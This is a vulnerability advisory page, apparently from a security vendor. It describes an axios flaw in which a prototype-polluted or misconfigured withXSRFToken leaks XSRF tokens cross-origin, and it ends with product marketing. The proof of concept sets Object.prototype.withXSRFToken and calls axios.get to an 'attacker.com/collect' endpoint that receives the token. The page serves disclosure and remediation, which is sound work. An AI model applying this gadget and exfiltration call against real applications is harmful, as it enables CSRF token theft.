GHSA-xx6v-rp6x-q39c
MEDIUMGHSA-xx6v-rp6x-q39c is a medium-severity (CVSS 5.4) vulnerability in axios. O3 Security confirms whether GHSA-xx6v-rp6x-q39c is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
Axios: XSRF Token Cross-Origin Leakage via Prototype Pollution Gadget in `withXSRFToken` Boolean Coercion
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, a proxy for how much of the ecosystem is exposed.
axiosnpmDescription
Vulnerability Disclosure: XSRF Token Cross-Origin Leakage via Prototype Pollution Gadget in withXSRFToken Boolean Coercion
Summary
The Axios library's XSRF token protection logic uses JavaScript truthy/falsy semantics instead of strict boolean comparison for the withXSRFToken config property. When this property is set to any truthy non-boolean value (via prototype pollution or misconfiguration), the same-origin check (isURLSameOrigin) is short-circuited, causing XSRF tokens to be sent to all request targets including cross-origin servers controlled by an attacker.
Severity: Medium (CVSS 5.4)
Affected Versions: All versions since withXSRFToken was introduced
Vulnerable Component: lib/helpers/resolveConfig.js:59
Environment: Browser-only (XSRF logic only runs when hasStandardBrowserEnv is true)
CWE
- CWE-201: Insertion of Sensitive Information Into Sent Data
- CWE-183: Permissive List of Allowed Inputs
CVSS 3.1
Score: 5.4 (Medium)
Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N
| Metric | Value | Justification |
|---|---|---|
| Attack Vector | Network | PP triggered remotely via vulnerable dependency |
| Attack Complexity | Low | Once PP exists, single property assignment. Consistent with GHSA-fvcv-3m26-pcqx |
| Privileges Required | None | No authentication needed |
| User Interaction | Required | Victim must use browser with axios making cross-origin requests |
| Scope | Unchanged | Token leakage within browser context |
| Confidentiality | Low | XSRF token leaked — anti-CSRF token, not session token |
| Integrity | Low | Stolen XSRF token enables CSRF attacks (bypass CSRF protection only) |
| Availability | None | No availability impact |
Usage of "Helper" Vulnerabilities
This vulnerability requires Zero Direct User Input when triggered via prototype pollution.
If an attacker can pollute Object.prototype.withXSRFToken with any truthy value (e.g., 1, "true", {}), Axios will automatically inherit this value during config merge. The truthy value short-circuits the same-origin check, causing the XSRF cookie value to be sent as a request header to every destination.
Vulnerable Code
File: lib/helpers/resolveConfig.js, lines 57-66
// Line 57: Function check — only applies if withXSRFToken is a function
withXSRFToken && utils.isFunction(withXSRFToken) && (withXSRFToken = withXSRFToken(newConfig));
// Line 59: The vulnerable condition
if (withXSRFToken || (withXSRFToken !== false && isURLSameOrigin(newConfig.url))) {
// ^^^^^^^^^^^^^^^^
// When withXSRFToken = 1 (truthy non-boolean): this is true → short-circuits
// isURLSameOrigin() is NEVER called → token sent to ANY origin
const xsrfValue = xsrfHeaderName && xsrfCookieName && cookies.read(xsrfCookieName);
if (xsrfValue) {
headers.set(xsrfHeaderName, xsrfValue);
}
}
Designed behavior:
true→ always send token (explicit cross-origin opt-in)false→ never send tokenundefined→ send only for same-origin requests
Actual behavior for non-boolean truthy values (1, "false", {}, []):
- All treated as truthy → same-origin check skipped → token sent everywhere
Proof of Concept
// Simulated prototype pollution from any vulnerable dependency
Object.prototype.withXSRFToken = 1;
// In browser with document.cookie = "XSRF-TOKEN=secret-csrf-token-abc123"
// Every axios request now includes: X-XSRF-TOKEN: secret-csrf-token-abc123
// Even to cross-origin hosts:
await axios.get('https://attacker.com/collect');
// → attacker receives the XSRF token in request headers
Verified PoC Output
withXSRFToken Value Sends Token Cross-Origin Expected
true (boolean) YES Yes (opt-in)
false (boolean) No No
undefined (default) No No
1 (number) YES ← BUG No
"false" (string) YES ← BUG No
{} (object) YES ← BUG No
[] (array) YES ← BUG No
Prototype pollution:
Object.prototype.withXSRFToken = 1
config.withXSRFToken = 1 → leaks=true
isURLSameOrigin() was NOT called (short-circuited)
Impact Analysis
- XSRF Token Theft: Anti-CSRF token sent as header to attacker-controlled server, enabling CSRF attacks against the victim application
- Universal Scope: A single
Object.prototype.withXSRFToken = 1affects every axios request in the application - Misconfiguration Risk: Developer writing
withXSRFToken: "false"(string) instead offalse(boolean) triggers the same issue without PP
Limitations:
- Browser-only (XSRF logic runs only in
hasStandardBrowserEnv) - XSRF tokens are anti-CSRF tokens, not session tokens — leakage enables CSRF but not direct session hijacking
- Attacker still needs a way to deliver the forged request after obtaining the token
Recommended Fix
Use strict boolean comparison:
// FIXED: lib/helpers/resolveConfig.js
const shouldSendXSRF = withXSRFToken === true ||
(withXSRFToken == null && isURLSameOrigin(newConfig.url));
if (shouldSendXSRF) {
const xsrfValue = xsrfHeaderName && xsrfCookieName && cookies.read(xsrfCookieName);
if (xsrfValue) {
headers.set(xsrfHeaderName, xsrfValue);
}
}
Resources
- CWE-201: Insertion of Sensitive Information Into Sent Data
- CWE-183: Permissive List of Allowed Inputs
- GHSA-fvcv-3m26-pcqx: Related PP Gadget in Axios
- Axios GitHub Repository
Timeline
| Date | Event |
|---|---|
| 2026-04-15 | Vulnerability discovered during source code audit |
| 2026-04-16 | Report revised: corrected CVSS, documented limitations |
| TBD | Report submitted to vendor via GitHub Security Advisory |
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | axios | ≥ 1.0.0&&< 1.15.1 | 1.15.1 |
| 📦npm | axios | all versions | 0.31.1 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for axios. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update axios to 1.15.1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-xx6v-rp6x-q39c is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-xx6v-rp6x-q39c is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-xx6v-rp6x-q39c. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-xx6v-rp6x-q39c in your dependencies?
O3 detects GHSA-xx6v-rp6x-q39c across npm dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.